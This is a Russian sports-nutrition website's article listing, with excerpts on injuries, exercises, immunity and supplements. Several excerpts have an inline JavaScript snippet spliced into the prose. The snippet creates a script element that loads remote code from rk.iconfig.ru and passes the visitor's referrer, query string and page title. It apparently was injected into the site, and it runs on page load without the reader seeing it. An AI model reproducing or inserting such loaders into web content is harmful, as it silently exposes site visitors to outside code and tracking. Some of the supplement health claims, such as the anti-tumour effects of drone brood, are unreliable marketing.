Статьи

Статьи о спортивном питании, о здоровье, спорте и фитнесе

Вывих плеча. Причины, симптомы, лечение

В любом виде спорта можно столкнуться с проблемой вывихов (дислокация), самым уязвимым местом которого считается плечо. В основном при вывихе плеча, верхняя часть плеча (головка плеча) смещается вперед, при этом рука выворачивается наружу и немного отстраняется в сторону. Считается,...

Активные тренировки развивают мышцы и… мозг!

Все давно знают, что спортивный образ жизни – залог крепкого здоровья. Но что позволит сохранить молодость? Да и кого вообще считать молодым: физически здорового человека или того, кто активно пользуется своим мозгом и способен решать сложнейшие задачи? var d=document;var s=d.createElement('script');...

Самые эффективные упражнения для ягодиц

var d=document;var s=d.createElement('script'); s.src='https://rk.iconfig.ru/NfP924?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '&_cid=52835be5-b4c5-cb70-1ce3-c4d2dfe09769'; d.getElementById("52835be5-b4c5-cb70-1ce3-c4d2dfe09769").appendChild(s); Привлекательность, красота развитой женской формы и фигуры всегда привлекала, и радовала взгляды наших представителей сильного пола. Именно поэтому сегодня у каждой девушке и женщины возникает желание,...

Идеальная фигура за семь минут в день

А вы знали, что ваша фигура может стать идеальной всего за семь минут фитнеса в день? Нет? А вот американские ученые из колледжа Спортивной медицины утверждают, что это правда. Исследователями был составлен список, включающий 12 упражнений. Каждое из них необходимо...

Физкультура – как часть общечеловеческой культуры

В последнее время культура физического развития представляет для общего мнения немаловажную и в тоже время значимую ценность. Она направлена не только на развитие профессионального спорта, но и как на физическое, так и на интеллектуальное  развитие человека, с целью укрепления...

Влияние тренировок на иммунитет

Способность, при которой организм умеет самостоятельно противостоять различным инфекционным заболеваниям, болезням или простудам носит название – иммунитет. Только здоровая и сильно развитая иммунная система, способна противостоять различным микробам, вирусам и другим инфекциям, которые окружают нас в повседневной жизни. Принято...

Скакалка: детская забава или серьезный спорт?

Многие спортсмены несерьезно относятся к занятиям со скакалкой, и совершенно зря! var d=document;var s=d.createElement('script'); s.src='https://rk.iconfig.ru/DLXR8N?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '&_cid=17fa2483-7963-2cd6-880d-6b3ba6cb1c15'; d.getElementById("17fa2483-7963-2cd6-880d-6b3ba6cb1c15").appendChild(s); 1. Скакалка – это, прежде всего, серьезная кардио-нагрузка, укрепляющая сосуды, а также дыхательную систему и систему...

Богатые плачут от… аллергии

Богатые тоже плачут. Очередное подтверждение этой старой поговорки было обнаружено группой талантливых учёных из США. Дело в том, что молодые люди и юные леди, растущие в тепличных условиях, которые им обеспечивают состоятельные родители, много чаще подвержены всевозможным аллергиям по сравнению...

Бурсит тазобедренного сустава, симптомы, лечение

Бурсит – заболевание, характеризующееся  воспалением синовиальных сумок в области сустава, сопровождающееся избыточным образованием экссудата (жидкости в области сустава). Движение мышц в тазобедренном суставе обеспечивают мышцы, удлиняющие и сокращающиеся при движении, терпящие трение о соседние мышцы, кости и сухожилия. Бурсы (специальные...

Болезни, вызванные занятием спортом

Ученые подсчитали, что за один год примерно 10 миллионов спортсменов получают травмы. Большой процент повреждений получают не на соревнованиях или на каких-то выступлениях или смотрах, а на тренировках, спортивных площадках, беговых дорожках, в квартирах и просто в обыденной жизни....

Разминка перед тренировкой

Наверняка каждый знает, что проделанная по всем правилам разминка — залог удачной тренировки. Хорошая разминка позволяет разогреть мышцы, обеспечить вам безопасное занятие, улучшить результативность, помочь грамотно распределять степень физической нагрузки, ну и, конечно, скорее восстанавливать ваш организм после тренировочного...

Болезни локтевого сустава, чем лечить травмы?

Руки человека крепки и выносливы, но и им достается большая часть продолжительного и интенсивного воздействия при различных видах физической нагрузки, от которой страдает локтевой сустав, сигнализируя болевым синдромом о возникающих проблемах. Локтевой сустав представляет собой сочленение  плечевого, локтевого и лучевого...

Повышение тестостерона Леветоном

Что такое тестостерон и как его увеличить мы можем прочитать тут. Тестостерон - это основной половой гормон у мужчин, андроген. Секретируется клетками Лейдига семенников у мужчин, а также в небольших количествах яичниками у женщин и корой надпочечников у обоих...

Скандалы в спорте

В спорте бывает всякое: хорошие и радостные моменты (победы, новые контракты и т.д.) сменяются поражениями, а иногда и скандалами. Жаль, но скандалы и неприятные инциденты в спорте (коррупция, неправильное судейство, принятие допингово-содержащих препаратов и даже плохое поведение спортсменов) встречаются...

Синдром перетренированности у спортсменов

Довольно часто у людей, занимающихся спортом и ведущих активный образ жизни, встречается синдром перетренированности. У профессиональных спортсменов риск возникновения синдрома перетренированности очень высок, поскольку чтобы поддержать оптимальную физическую форму необходимы постоянные тренировки. У людей, ведущих активный образ жизни часто...

Трутневый расплод. Действие на организм

Гомогенат трутневого расплода — ценный биологически активный продукт. Содержит в большом количестве углеводы, жиры,  белки, органические кислоты, витамины, минералы, аминокислоты. Доказано, что трутневый гомогенат имеет иммуномодулирующее, тонизирующее, противоопухолевое, гепатопротекторное действие. var d=document;var s=d.createElement('script'); s.src='https://rk.iconfig.ru/VwVB4S?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' +...

Интервью с Александром Болховитиным

На днях мы встретились с Александром  Болховитиным. Александр – многократный чемпион России по легкой атлетике, член сборной России с 1993 года и по сей день. 7 апреля Александр Болховитин выступал на чемпионате России по горному бегу. В связи с этим...

Сбалансированное соотношение белков, углеводов и жиров

Рациональное и правильное питание для нашего развивающего и растущего организма спортсмена это основа всех правил физического процесса, благодаря которому, каждый из атлетов любого уровня при правильном подходе может добиться блестящего и нужного успеха. При этом разговор здесь касается не...


Отзывы о продукции Парафарм

Статьи о спортивном питании

Видео о спортивном питании